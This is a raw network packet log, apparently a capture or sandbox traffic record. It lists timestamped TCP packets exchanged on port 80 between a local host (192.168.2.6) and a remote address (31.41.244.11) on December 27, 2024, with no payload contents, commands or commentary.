Dec 27, 2024 08:52:13.657893896 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.657953024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.658010006 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.658077002 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.659063101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.659120083 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.659169912 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.659216881 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.660248041 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.660307884 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.660337925 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.660383940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.661453962 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.661501884 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.661514044 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.661545038 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.662585974 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.662643909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.662674904 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.662725925 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.663872004 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.663928032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.663968086 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.664016962 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.664964914 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.665030956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.665071964 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.665119886 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.666119099 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.666196108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.666361094 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.666412115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.667284966 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.667335033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.667515993 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.667563915 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.668464899 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.668526888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.668610096 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.668675900 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.669635057 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.669707060 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.669719934 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.669766903 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.670818090 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.670878887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.670909882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.670954943 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.671956062 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.672015905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.672055960 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.672102928 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.673135996 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.673191071 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.673227072 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.673269033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.674331903 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.674390078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.674415112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.674458981 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.675498962 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.675559998 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.675651073 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.675704002 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.676690102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.676748037 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.676758051 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.676803112 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.677825928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.677879095 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.677931070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.678006887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.679025888 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.679090977 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.679116964 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.679164886 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.680176020 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.680231094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.680270910 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.680314064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.681349039 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.681405067 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.681452990 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.681497097 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.682533979 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.682590008 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.682617903 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.682662964 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.683732986 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.683789968 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.683803082 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.683835983 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.684863091 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.684916973 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.684963942 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.685008049 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.686068058 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.686121941 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.686167955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.686209917 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.687268019 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.687324047 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.687333107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.687400103 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.688390970 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.688446999 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.688498974 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.688541889 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.689568043 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.689623117 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.689668894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.689707994 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.690740108 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.690792084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.690850019 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.690949917 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.691901922 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.691952944 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.692007065 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.692047119 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.693150997 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.693206072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.693236113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.693274975 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.694257021 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.694305897 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.694345951 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.694385052 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.695450068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.695503950 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.695590019 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.695631981 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.696605921 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.696660995 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.696702003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.696743965 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.697779894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.697838068 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.697859049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.697899103 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.698951960 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.699016094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.699043036 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.699084997 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.700128078 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.700189114 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.700243950 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.700284958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.701345921 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.701386929 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.701421022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.701440096 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.702476978 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.702542067 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.702564001 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.702615023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.703644991 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.703701973 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.703735113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.703773022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.704821110 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.704870939 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.704914093 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.704986095 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.705940962 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.706007957 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.836579084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.836679935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.836741924 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.836777925 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.836955070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.837052107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.837063074 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.837126017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.837851048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.837910891 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.837948084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.837994099 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.839035034 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.839092970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.839128971 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.839176893 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.840253115 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.840312004 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.840383053 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.840437889 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.841375113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.841434956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.841469049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.841526031 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.842551947 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.842633963 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.842658997 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.842683077 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.843729973 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.843787909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.843820095 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.843868017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.844913960 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.844973087 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.844990969 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.845036030 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.846059084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.846120119 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.846173048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.846226931 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.847234011 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.847291946 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.847366095 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.847419977 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.848411083 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.848476887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.848514080 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.848566055 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.849603891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.849673033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.849677086 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.849734068 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.850763083 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.850886106 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.850949049 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.851943970 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.852049112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.852109909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.853101015 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.853212118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.853271008 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.854271889 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.854326963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.854371071 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.854432106 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.855515003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.855576992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.855668068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.855719090 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.856617928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.856669903 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.856734037 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.856786013 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.857786894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.857852936 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.857897997 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.857953072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.858992100 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.859047890 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.859078884 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.859127998 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.860142946 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.860192060 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.860224009 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.860290051 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.861308098 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.861365080 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.861399889 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.861444950 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.862488031 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.862546921 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.862581015 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.862631083 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.863676071 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.863737106 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.863770008 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.863821030 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.864850044 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.864917040 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.864938021 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.864984989 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.866038084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.866095066 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.866125107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.866173029 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.867196083 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.867260933 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.867288113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.867369890 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.868385077 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.868457079 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.868473053 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.868511915 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.869522095 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.869597912 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.869640112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.869687080 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.870728016 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.870793104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.870796919 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.870837927 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.871876955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.871943951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.871975899 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.872040987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.873059034 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.873120070 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.873167038 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.873220921 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.874217987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.874279976 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.874322891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.874368906 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.875427961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.875487089 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.875510931 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.875552893 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.876563072 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.876632929 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.876665115 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.876713037 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.877810001 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.877866983 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.877908945 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.877954960 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.878931046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.878994942 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.879044056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.879117012 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.880081892 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.880136967 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.880177975 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.880219936 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.881289005 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.881352901 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.881402969 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.882446051 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.882540941 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.882620096 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.883630991 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.883703947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.883738041 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.884680033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.884871006 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.884931087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.884932041 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.885005951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.885983944 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.886081934 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.886153936 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.887162924 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.887249947 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.887355089 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.888392925 CET	80	49949	31.41.244.11	192.168.2.6
